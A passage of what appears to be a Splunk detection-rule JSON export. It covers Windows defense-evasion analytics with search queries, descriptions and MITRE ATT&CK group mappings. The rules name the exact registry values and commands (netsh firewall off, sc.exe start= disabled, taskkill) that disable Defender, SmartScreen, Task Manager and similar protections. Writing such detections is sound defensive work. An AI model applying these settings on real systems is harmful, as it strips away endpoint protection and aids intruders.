"Ember Bear", - "FIN6", - "Gamaredon Group", - "Gorgon Group", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "MuddyWater", - "Putter Panda", - "Rocke", - "TA2541", - "TA505", - "TeamTNT", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - }, - { - "mitre_attack_id": "T1112", - "mitre_attack_technique": "Modify Registry", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT38", - "APT41", - "Blue Mockingbird", - "Dragonfly", - "Earth Lusca", - "Ember Bear", - "FIN8", - "Gamaredon Group", - "Gorgon Group", - "Kimsuky", - "LuminousMoth", - "Magic Hound", - "Patchwork", - "Silence", - "TA505", - "Threat Group-3390", - "Turla", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Disable Windows Behavior Monitoring", - "description": "The following analytic identifies modifications in the registry to disable Windows Defender's real-time behavior monitoring. It leverages data from the Endpoint.Registry data model, specifically monitoring changes to registry paths associated with Windows Defender settings. This activity is significant because disabling real-time protection is a common tactic used by malware such as RATs, bots, or Trojans to evade detection. If confirmed malicious, this action could allow an attacker to execute code, escalate privileges, or persist in the environment without being detected by antivirus software.", - "search": "| tstats `security_content_summariesonly` count FROM datamodel=Endpoint.Registry WHERE (Registry.registry_path= \"*\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\Windows Defender\\\\Real-Time Protection\\\\DisableBehaviorMonitoring\" OR Registry.registry_path= \"*\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\Windows Defender\\\\Real-Time Protection\\\\DisableOnAccessProtection\" OR Registry.registry_path= \"*\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\Windows Defender\\\\Real-Time Protection\\\\DisableScanOnRealtimeEnable\" OR Registry.registry_path= \"*\\\\SOFTWARE\\\\Microsoft\\\\Windows Defender\\\\Real-Time Protection\\\\DisableRealtimeMonitoring\" OR Registry.registry_path= \"*\\\\Real-Time Protection\\\\DisableIntrusionPreventionSystem\" OR Registry.registry_path= \"*\\\\Real-Time Protection\\\\DisableIOAVProtection\" OR Registry.registry_path= \"*\\\\Real-Time Protection\\\\DisableScriptScanning\" AND Registry.registry_value_data = \"0x00000001\") BY _time span=1h Registry.dest Registry.user Registry.registry_path Registry.registry_key_name Registry.registry_value_name Registry.registry_value_data Registry.process_guid | `drop_dm_object_name(Registry)` | where isnotnull(registry_value_data) | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `disable_windows_behavior_monitoring_filter`", - "tags": { - "analytic_story": [ - "Azorult", - "CISA AA23-347A", - "Ransomware", - "RedLine Stealer", - "Revil Ransomware", - "Windows Defense Evasion Tactics", - "Windows Registry Abuse" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Windows Defender real time behavior monitoring disabled on $dest", - "risk_score": 40, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562.001", - "mitre_attack_technique": "Disable or Modify Tools", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Aquatic Panda", - "BRONZE BUTLER", - "Ember Bear", - "FIN6", - "Gamaredon Group", - "Gorgon Group", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "MuddyWater", - "Putter Panda", - "Rocke", - "TA2541", - "TA505", - "TeamTNT", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - } - ] - } - }, - { - "name": "Disable Windows SmartScreen Protection", - "description": "The following analytic detects modifications to the Windows registry that disable SmartScreen protection. It leverages data from the Endpoint.Registry data model, specifically monitoring changes to registry paths associated with SmartScreen settings. This activity is significant because SmartScreen provides an early warning system against phishing and malware. Disabling it can indicate malicious intent, often seen in Remote Access Trojans (RATs) to evade detection while downloading additional payloads. If confirmed malicious, this action could allow attackers to bypass security measures, increasing the risk of successful phishing attacks and malware infections.", - "search": "| tstats `security_content_summariesonly` count FROM datamodel=Endpoint.Registry WHERE Registry.registry_path IN (\"*\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Explorer\\\\SmartScreenEnabled\", \"*\\\\Microsoft\\\\Windows\\\\System\\\\EnableSmartScreen\") Registry.registry_value_data IN (\"Off\", \"0\") BY _time span=1h Registry.dest Registry.user Registry.registry_path Registry.registry_key_name Registry.registry_value_name Registry.registry_value_data Registry.process_guid | `drop_dm_object_name(Registry)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `disable_windows_smartscreen_protection_filter`", - "tags": { - "analytic_story": [ - "CISA AA23-347A", - "Windows Defense Evasion Tactics", - "Windows Registry Abuse" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "The Windows Smartscreen was disabled on $dest$ by $user$.", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562.001", - "mitre_attack_technique": "Disable or Modify Tools", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Aquatic Panda", - "BRONZE BUTLER", - "Ember Bear", - "FIN6", - "Gamaredon Group", - "Gorgon Group", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "MuddyWater", - "Putter Panda", - "Rocke", - "TA2541", - "TA505", - "TeamTNT", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - } - ] - } - }, - { - "name": "Disabling CMD Application", - "description": "The following analytic detects modifications to the registry that disable the CMD prompt application. It leverages data from the Endpoint.Registry data model, specifically looking for changes to the \"DisableCMD\" registry value. This activity is significant because disabling CMD can hinder an analyst's ability to investigate and remediate threats, a tactic often used by malware such as RATs, Trojans, or Worms. If confirmed malicious, this could prevent security teams from using CMD for directory and file traversal, complicating incident response and allowing the attacker to maintain persistence.", - "search": "| tstats `security_content_summariesonly` count FROM datamodel=Endpoint.Registry WHERE (Registry.registry_path= \"*\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\Windows\\\\System\\\\DisableCMD\" Registry.registry_value_data = \"0x00000001\") BY _time span=1h Registry.dest Registry.user Registry.registry_path Registry.registry_key_name Registry.registry_value_name Registry.registry_value_data Registry.process_guid | `drop_dm_object_name(Registry)` | where isnotnull(registry_value_data) | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `disabling_cmd_application_filter`", - "tags": { - "analytic_story": [ - "NjRAT", - "Windows Defense Evasion Tactics", - "Windows Registry Abuse" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "The Windows command prompt was disabled on $dest$ by $user$.", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562.001", - "mitre_attack_technique": "Disable or Modify Tools", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Aquatic Panda", - "BRONZE BUTLER", - "Ember Bear", - "FIN6", - "Gamaredon Group", - "Gorgon Group", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "MuddyWater", - "Putter Panda", - "Rocke", - "TA2541", - "TA505", - "TeamTNT", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - }, - { - "mitre_attack_id": "T1112", - "mitre_attack_technique": "Modify Registry", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT38", - "APT41", - "Blue Mockingbird", - "Dragonfly", - "Earth Lusca", - "Ember Bear", - "FIN8", - "Gamaredon Group", - "Gorgon Group", - "Kimsuky", - "LuminousMoth", - "Magic Hound", - "Patchwork", - "Silence", - "TA505", - "Threat Group-3390", - "Turla", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Disabling ControlPanel", - "description": "The following analytic detects registry modifications that disable the Control Panel on Windows systems. It leverages data from the Endpoint.Registry data model, specifically monitoring changes to the registry path \"*\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer\\\\NoControlPanel\" with a value of \"0x00000001\". This activity is significant as it is commonly used by malware to prevent users from accessing the Control Panel, thereby hindering the removal of malicious artifacts and persistence mechanisms. If confirmed malicious, this could allow attackers to maintain control over the infected machine and prevent remediation efforts.", - "search": "| tstats `security_content_summariesonly` count FROM datamodel=Endpoint.Registry WHERE (Registry.registry_path= \"*\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer\\\\NoControlPanel\" Registry.registry_value_data = \"0x00000001\") BY _time span=1h Registry.dest Registry.user Registry.registry_path Registry.registry_key_name Registry.registry_value_name Registry.registry_value_data Registry.process_guid | `drop_dm_object_name(Registry)`| where isnotnull(registry_value_data) | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `disabling_controlpanel_filter`", - "tags": { - "analytic_story": [ - "Windows Defense Evasion Tactics", - "Windows Registry Abuse" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "The Windows Control Panel was disabled on $dest$ by $user$.", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562.001", - "mitre_attack_technique": "Disable or Modify Tools", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Aquatic Panda", - "BRONZE BUTLER", - "Ember Bear", - "FIN6", - "Gamaredon Group", - "Gorgon Group", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "MuddyWater", - "Putter Panda", - "Rocke", - "TA2541", - "TA505", - "TeamTNT", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - }, - { - "mitre_attack_id": "T1112", - "mitre_attack_technique": "Modify Registry", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT38", - "APT41", - "Blue Mockingbird", - "Dragonfly", - "Earth Lusca", - "Ember Bear", - "FIN8", - "Gamaredon Group", - "Gorgon Group", - "Kimsuky", - "LuminousMoth", - "Magic Hound", - "Patchwork", - "Silence", - "TA505", - "Threat Group-3390", - "Turla", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Disabling Defender Services", - "description": "The following analytic detects the disabling of Windows Defender services by monitoring registry modifications. It leverages registry event data to identify changes to specific registry paths associated with Defender services, where the 'Start' value is set to '0x00000004'. This activity is significant because disabling Defender services can indicate an attempt by an adversary to evade detection and maintain persistence on the endpoint. If confirmed malicious, this action could allow attackers to execute further malicious activities undetected, leading to potential data breaches or system compromise.", - "search": "| tstats `security_content_summariesonly` count FROM datamodel=Endpoint.Registry WHERE (Registry.registry_path = \"*\\\\System\\\\CurrentControlSet\\\\Services\\\\*\" AND (Registry.registry_path IN(\"*WdBoot*\", \"*WdFilter*\", \"*WdNisDrv*\", \"*WdNisSvc*\",\"*WinDefend*\", \"*SecurityHealthService*\")) AND Registry.registry_value_name = Start Registry.registry_value_data = 0x00000004) BY _time span=1h Registry.dest Registry.user Registry.registry_path Registry.registry_key_name Registry.registry_value_name Registry.registry_value_data Registry.process_guid | `drop_dm_object_name(Registry)`| where isnotnull(registry_value_data) | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `disabling_defender_services_filter`", - "tags": { - "analytic_story": [ - "IcedID", - "RedLine Stealer", - "Windows Registry Abuse" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "modified/added/deleted registry entry $registry_path$ in $dest$", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562.001", - "mitre_attack_technique": "Disable or Modify Tools", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Aquatic Panda", - "BRONZE BUTLER", - "Ember Bear", - "FIN6", - "Gamaredon Group", - "Gorgon Group", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "MuddyWater", - "Putter Panda", - "Rocke", - "TA2541", - "TA505", - "TeamTNT", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - } - ] - } - }, - { - "name": "Disabling Firewall with Netsh", - "description": "The following analytic identifies the disabling of the firewall using the netsh application. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on command-line executions that include keywords like \"firewall,\" \"off,\" or \"disable.\" This activity is significant because disabling the firewall can expose the system to external threats, allowing malware to communicate with its command and control (C2) server. If confirmed malicious, this action could lead to unauthorized data exfiltration, further malware downloads, and broader network compromise.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where `process_netsh` Processes.process= \"*firewall*\" (Processes.process= \"*off*\" OR Processes.process= \"*disable*\") by Processes.dest Processes.user Processes.parent_process Processes.process_name Processes.original_file_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `disabling_firewall_with_netsh_filter`", - "tags": { - "analytic_story": [ - "BlackByte Ransomware", - "Windows Defense Evasion Tactics" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "The Windows Firewall was disabled on $dest$ by $user$.", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562.001", - "mitre_attack_technique": "Disable or Modify Tools", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Aquatic Panda", - "BRONZE BUTLER", - "Ember Bear", - "FIN6", - "Gamaredon Group", - "Gorgon Group", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "MuddyWater", - "Putter Panda", - "Rocke", - "TA2541", - "TA505", - "TeamTNT", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - } - ] - } - }, - { - "name": "Disabling FolderOptions Windows Feature", - "description": "The following analytic detects the modification of the Windows registry to disable the Folder Options feature, which prevents users from showing hidden files and file extensions. It leverages data from the Endpoint.Registry data model, specifically monitoring changes to the registry path \"*\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer\\\\NoFolderOptions\" with a value of \"0x00000001\". This activity is significant as it is commonly used by malware to conceal malicious files and deceive users with fake file extensions. If confirmed malicious, this could allow an attacker to hide their presence and malicious files, making detection and remediation more difficult.", - "search": "| tstats `security_content_summariesonly` count FROM datamodel=Endpoint.Registry WHERE (Registry.registry_path= \"*\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer\\\\NoFolderOptions\" Registry.registry_value_data = \"0x00000001\") BY _time span=1h Registry.dest Registry.user Registry.registry_path Registry.registry_key_name Registry.registry_value_name Registry.registry_value_data Registry.process_guid | `drop_dm_object_name(Registry)`| where isnotnull(registry_value_data) | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `disabling_folderoptions_windows_feature_filter`", - "tags": { - "analytic_story": [ - "CISA AA23-347A", - "Windows Defense Evasion Tactics", - "Windows Registry Abuse" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "The Windows Folder Options, to hide files, was disabled on $dest$ by $user$.", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562.001", - "mitre_attack_technique": "Disable or Modify Tools", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Aquatic Panda", - "BRONZE BUTLER", - "Ember Bear", - "FIN6", - "Gamaredon Group", - "Gorgon Group", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "MuddyWater", - "Putter Panda", - "Rocke", - "TA2541", - "TA505", - "TeamTNT", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - } - ] - } - }, - { - "name": "Disabling NoRun Windows App", - "description": "The following analytic detects the modification of the Windows registry to disable the Run application in the Start menu. It leverages data from the Endpoint.Registry data model, specifically monitoring changes to the registry path \"*\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer\\\\NoRun\" with a value of \"0x00000001\". This activity is significant because the Run application is a useful shortcut for executing known applications and scripts. If confirmed malicious, this action could hinder system cleaning efforts and make it more difficult to run essential tools, thereby aiding malware persistence.", - "search": "| tstats `security_content_summariesonly` count FROM datamodel=Endpoint.Registry WHERE (Registry.registry_path= \"*\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer\\\\NoRun\" Registry.registry_value_data = \"0x00000001\") BY _time span=1h Registry.dest Registry.user Registry.registry_path Registry.registry_key_name Registry.registry_value_name Registry.registry_value_data Registry.process_guid | `drop_dm_object_name(Registry)`| where isnotnull(registry_value_data) | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `disabling_norun_windows_app_filter`", - "tags": { - "analytic_story": [ - "Windows Defense Evasion Tactics", - "Windows Registry Abuse" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "The Windows registry was modified to disable run application in window start menu on $dest$ by $user$.", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562.001", - "mitre_attack_technique": "Disable or Modify Tools", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Aquatic Panda", - "BRONZE BUTLER", - "Ember Bear", - "FIN6", - "Gamaredon Group", - "Gorgon Group", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "MuddyWater", - "Putter Panda", - "Rocke", - "TA2541", - "TA505", - "TeamTNT", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - }, - { - "mitre_attack_id": "T1112", - "mitre_attack_technique": "Modify Registry", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT38", - "APT41", - "Blue Mockingbird", - "Dragonfly", - "Earth Lusca", - "Ember Bear", - "FIN8", - "Gamaredon Group", - "Gorgon Group", - "Kimsuky", - "LuminousMoth", - "Magic Hound", - "Patchwork", - "Silence", - "TA505", - "Threat Group-3390", - "Turla", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Disabling Task Manager", - "description": "The following analytic identifies modifications to the Windows registry that disable Task Manager. It leverages data from the Endpoint.Registry data model, specifically looking for changes to the registry path \"*\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\System\\\\DisableTaskMgr\" with a value of \"0x00000001\". This activity is significant as it is commonly associated with malware such as RATs, Trojans, and worms, which disable Task Manager to prevent users from terminating malicious processes. If confirmed malicious, this could allow attackers to maintain persistence and control over the infected system.", - "search": "| tstats `security_content_summariesonly` count FROM datamodel=Endpoint.Registry WHERE (Registry.registry_path= \"*\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\System\\\\DisableTaskMgr\" Registry.registry_value_data = \"0x00000001\") BY _time span=1h Registry.dest Registry.user Registry.registry_path Registry.registry_key_name Registry.registry_value_name Registry.registry_value_data Registry.process_guid | `drop_dm_object_name(Registry)` | where isnotnull(registry_value_data) | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `disabling_task_manager_filter`", - "tags": { - "analytic_story": [ - "NjRAT", - "Windows Defense Evasion Tactics", - "Windows Registry Abuse" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "The Windows Task Manager was disabled on $dest$ by $user$.", - "risk_score": 42, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562.001", - "mitre_attack_technique": "Disable or Modify Tools", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Aquatic Panda", - "BRONZE BUTLER", - "Ember Bear", - "FIN6", - "Gamaredon Group", - "Gorgon Group", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "MuddyWater", - "Putter Panda", - "Rocke", - "TA2541", - "TA505", - "TeamTNT", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - } - ] - } - }, - { - "name": "Excessive number of service control start as disabled", - "description": "The following analytic detects an excessive number of `sc.exe` processes launched with the command line argument `start= disabled` within a short period. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names, command-line executions, and process GUIDs. This activity is significant as it may indicate an attempt to disable critical services, potentially impairing system defenses. If confirmed malicious, this behavior could allow an attacker to disrupt security mechanisms, hinder incident response, and maintain control over the compromised system.", - "search": "| tstats `security_content_summariesonly` distinct_count(Processes.process) as distinct_cmdlines values(Processes.process_id) as process_ids min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Processes WHERE Processes.process_name = \"sc.exe\" AND Processes.process=\"*start= disabled*\" by Processes.dest Processes.user Processes.parent_process Processes.process_name Processes.parent_process_id, _time span=30m | where distinct_cmdlines >= 8 | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `excessive_number_of_service_control_start_as_disabled_filter`", - "tags": { - "analytic_story": [ - "Windows Defense Evasion Tactics" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An excessive amount of $process_name$ was executed on $dest$ attempting to disable services.", - "risk_score": 80, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562.001", - "mitre_attack_technique": "Disable or Modify Tools", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Aquatic Panda", - "BRONZE BUTLER", - "Ember Bear", - "FIN6", - "Gamaredon Group", - "Gorgon Group", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "MuddyWater", - "Putter Panda", - "Rocke", - "TA2541", - "TA505", - "TeamTNT", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - } - ] - } - }, - { - "name": "Excessive Usage Of Taskkill", - "description": "The following analytic identifies excessive usage of `taskkill.exe`, a command-line utility used to terminate processes. The detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on instances where `taskkill.exe` is executed ten or more times within a one-minute span. This behavior is significant as adversaries often use `taskkill.exe` to disable security tools or other critical processes to evade detection. If confirmed malicious, this activity could allow attackers to bypass security defenses, maintain persistence, and further compromise the system.", - "search": "| tstats `security_content_summariesonly` values(Processes.process) as process values(Processes.process_id) as process_id count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name = \"taskkill.exe\" by Processes.parent_process_name Processes.process_name Processes.dest Processes.user _time span=1m | where count >=10 | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `excessive_usage_of_taskkill_filter`", - "tags": { - "analytic_story": [ - "AgentTesla", - "Azorult", - "CISA AA22-264A", - "CISA AA22-277A", - "NjRAT", - "XMRig" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process Name", - "role": [ - "Parent Process", - "Attacker" - ] - } - ], - "message": "Excessive usage of taskkill.exe with process id $process_id$ (more than 10 within 1m) has been detected on $dest$ with a parent process of $parent_process_name$.", - "risk_score": 28, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562.001", - "mitre_attack_technique": "Disable or Modify Tools", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Aquatic Panda", - "BRONZE BUTLER", - "Ember Bear", - "FIN6", - "Gamaredon Group", - "Gorgon Group", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "MuddyWater", - "Putter Panda", - "Rocke", - "TA2541", - "TA505", - "TeamTNT", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - } - ] - } - }, - { - "name": "Hide User Account From Sign-In Screen", - "description": "The following analytic detects a suspicious registry modification that hides a user account from the Windows Login screen. It leverages data from the Endpoint.Registry data model, specifically monitoring changes to the registry path \"*\\\\Windows NT\\\\CurrentVersion\\\\Winlogon\\\\SpecialAccounts\\\\Userlist*\" with a value of \"0x00000000\". This activity is significant as it may indicate an adversary attempting to create a hidden admin account to avoid detection and maintain persistence on the compromised machine. If confirmed malicious, this could allow the attacker to maintain undetected access and control over the system, posing a severe security risk.", - "search": "| tstats `security_content_summariesonly` count FROM datamodel=Endpoint.Registry WHERE (Registry.registry_path=\"*\\\\Windows NT\\\\CurrentVersion\\\\Winlogon\\\\SpecialAccounts\\\\Userlist*\" AND Registry.registry_value_data = \"0x00000000\") BY _time span=1h Registry.dest Registry.user Registry.registry_path Registry.registry_key_name Registry.registry_value_name Registry.registry_value_data Registry.process_guid | `drop_dm_object_name(Registry)` | where isnotnull(registry_value_data) | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `hide_user_account_from_sign_in_screen_filter`", - "tags": { - "analytic_story": [ - "Azorult", - "Warzone RAT", - "Windows 